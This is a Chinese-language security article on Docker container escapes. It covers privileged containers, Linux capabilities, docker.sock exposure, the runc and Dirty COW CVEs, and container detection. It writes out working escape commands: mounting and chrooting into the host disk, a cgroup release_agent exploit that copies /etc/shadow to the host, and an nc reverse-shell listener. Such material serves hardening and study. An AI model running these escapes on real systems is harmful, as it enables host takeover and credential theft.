容器逃逸安全分析 (一)
容器逃逸安全分析(一)
一、业务场景中产生容器逃逸问题的常见漏洞点
1.1 特权容器逃逸
1.1.1 问题描述:
特权容器可以查看宿主机上的所有设备,因此一旦敌手处于特权容器内时可以通过在容器内挂载宿主机磁盘,然后切换所在的根目录,从而产生容器逃逸。
1.1.2 特权容器实验测试:
首先创建用于测试的特权容器:
docker run -it --privileged=true busybox:v1.0
特权容器内部可以看到宿主机的所有设备
fdisk -l | tail -n 2
进入宿主机内部挂载宿主机磁盘,然后将根目录切换过去
mount /dev/vda1 /host
chroot /host
cat /etc/passwd | grep username
1.2 Capabilities 容器逃逸
1.2.1 问题描述:
Linux内核自版本2.2启引入功能 (capabilities) 机制,允许普通用户通过 capabilities 机制执行超级用户权限的命令。通过 capabilities 机制可以更好的划分超级用户的权限,实现特权的细粒度管理。截止到Linux内核3.0版本,共有38种capabilities,Docker容器默认限制14个capabilities。
其中容器管理员在创建容器时可以通过 --cap-add 和 --cap-drop 选项为容器精确配置 capabilities 。
当容器以特权容器启动时默认将被赋予所有 capabilities 。
1.2.2 攻击路径:
敌手的攻击路径分为两个部分,首先根据拿到的 capabilities 进行判断,如果包含重要的 capabilities (一般为 SYSADMIN、DAC_READ_SEARCH、 SYS_MODULE 、 SYS_PTRACE) 则敌手可以直接进容器逃逸。如果拿到的为普通用户运行的具有部分权限的 cap 则可以通过 sudo、setuid等方式进行提权。
1.2.3 cap 参考
capability 名称 | 描述 |
---|---|
CAP_AUDIT_CONTROL | 启用和禁用内核审计;改变审计过滤规则;检索审计状态和过滤规则 |
CAP_AUDIT_READ | 允许通过 multicast netlink 套接字读取审计日志 |
CAP_AUDIT_WRITE | 将记录写入内核审计日志 |
CAP_BLOCK_SUSPEND | 使用可以阻止系统挂起的特性 |
CAP_CHOWN | 修改文件所有者的权限 |
CAP_DAC_OVERRIDE | 忽略文件的 DAC 访问限制 |
CAP_DAC_READ_SEARCH | 忽略文件读及目录搜索的 DAC 访问限制 |
CAP_FOWNER | 忽略文件属主 ID 必须和进程用户 ID 相匹配的限制 |
CAP_FSETID | 允许设置文件的 setuid 位 |
CAP_IPC_LOCK | 允许锁定共享内存片段 |
CAP_IPC_OWNER | 忽略 IPC 所有权检查 |
CAP_KILL | 允许对不属于自己的进程发送信号 |
CAP_LEASE | 允许修改文件锁的 FL_LEASE 标志 |
CAP_LINUX_IMMUTABLE | 允许修改文件的 IMMUTABLE 和 APPEND 属性标志 |
CAP_MAC_ADMIN | 允许 MAC 配置或状态更改 |
CAP_MAC_OVERRIDE | 覆盖 MAC(Mandatory Access Control) |
CAP_MKNOD | 允许使用 mknod() 系统调用 |
CAP_NET_ADMIN | 允许执行网络管理任务 |
CAP_NET_BIND_SERVICE | 允许绑定到小于 1024 的端口 |
CAP_NET_BROADCAST | 允许网络广播和多播访问 |
CAP_NET_RAW | 允许使用原始套接字 |
CAP_SETGID | 允许改变进程的 GID |
CAP_SETFCAP | 允许为文件设置任意的 capabilities |
CAP_SETPCAP | 参考 capabilities man page |
CAP_SETUID | 允许改变进程的 UID |
CAP_SYS_ADMIN | 允许执行系统管理任务,如加载或卸载文件系统、设置磁盘配额等 |
CAP_SYS_BOOT | 允许重新启动系统 |
CAP_SYS_CHROOT | 允许使用 chroot() 系统调用 |
CAP_SYS_MODULE | 允许插入和删除内核模块 |
CAP_SYS_NICE | 允许提升优先级及设置其他进程的优先级 |
CAP_SYS_PACCT | 允许执行进程的 BSD 式审计 |
CAP_SYS_PTRACE | 允许跟踪任何进程 |
CAP_SYS_RAWIO | 允许直接访问 /devport、/dev/mem、/dev/kmem 及原始块设备 |
CAP_SYS_RESOURCE | 忽略资源限制 |
CAP_SYS_TIME | 允许改变系统时钟 |
CAP_SYS_TTY_CONFIG | 允许配置 TTY 设备 |
CAP_SYSLOG | 允许使用 syslog() 系统调用 |
CAP_WAKE_ALARM | 允许触发一些能唤醒系统的东西(比如 CLOCK_BOOTTIME_ALARM 计时器) |
1.2.4 cap 容器逃逸实验测试
创建具有SYS_ADMIN类型的特权容器
docker run --name sys_admin -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined busybox:v1.0 /bin/bash
mkdir /tmp/cgrp
mount -t cgroup -o memory cgroup /tmp/cgrp
mkdir /tmp/cgrp/x
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
# 写入宿主机调用的release_agent文件(指向攻击脚本)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
# 写入攻击的脚本并赋予执行权限
echo '#!/bin/sh' > /cmd
echo "cat /etc/shadow > $host_path/output" >> /cmd
chmod a+x /cmd
# 进程调用再退出时,触发执行release_agent 文件
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
1.3 通信问题逃逸
在主机上执行docker命令时,默认通过位于 /var/run/docker.sock 的非联网UNIX套接字来控制docker容器的主API。一旦容器以读写形式挂载主机 docker.sock ,容器内攻击者便可以:
- 创建恶意容器,如特权容器,间接获得宿主机的CIA访问和控制能力;
- 调用docker的任意主API接口,获得宿主机的root进程权限。
Docker 客户端要和 Docker daemon 通过 REST API 通信 Unix socket (-H unix:///var/run/docker.sock) , 通过-H参数指定sock文件,操作容器
1.4 procfs 容器逃逸
runc漏洞CVE-2019-5736,因/proc目录隔离不彻底,攻击者可使用指向runc的文件/proc/self/exe替换容器中的目标文件/bin/bash来欺骗runc执行自身,进而攻击宿主机和其它容器。
1.5 敏感目录逃逸
1.6 其他攻击手段
1.6.1 容器信息侦查
敌手可以判断当前是否处于容器环境内,这里以docker容器举例,常用的检测方式如下:
- 检查/.dockerenv文件是否存在
- 检查/proc/1/cgroup内是否包含"docker"等字符串。
查询容器的cap权限
- getcap 程序检查容器内文件的cap权限
- Docker inspect -format {(.Config.CapAdd)}查看开启的Capbility
二、应用层容器逃逸问题分析
三、服务层与系统层问题收集
3.1 内核 Dirtycow漏洞进行逃逸 (CVE-2016-5195)
Dirty Cow(CVE-2016-5195)是Linux内核中的权限提升漏洞,源于Linux内核的内存子系统在处理写入时拷贝存在竞争条件,允许恶意用户提权获取其它只读内存映射的写访问权限。利用该漏洞,攻击者可在其目标系统提权。
VDSO,即内核提供的虚拟.so,该.so文件位于内核而非磁盘,程序启动时,内核把包含某.so的内存页映射入其内存空间,对应程序就可作为普通.so使用其中的函数。
在容器中利用VDSO内存空间中的“clock_gettime() ”函数可对脏牛漏洞发起攻击,令系统崩溃并获得root的shell。
操作步骤:
- 运行具有dirtycow的容器
- 本地开启nc:nc -lvp 1234
- 编译PoC并运行,等待shell反弹
- 通过ID命令确认shell为root权限
- 成功逃逸
Ref
[1] (capabilities Linux manual page) https://man7.org/linux/man-pages/man7/capabilities.7.html
[2] 容器逃逸原理 https://www.freebuf.com/articles/container/245153.html
[3] 容器逃逸案例汇集 https://www.cnblogs.com/xiaozi/p/13423853.html
[4] 逃逸安全总结 https://jishuin.proginn.com/p/763bfbd5c665
Member discussion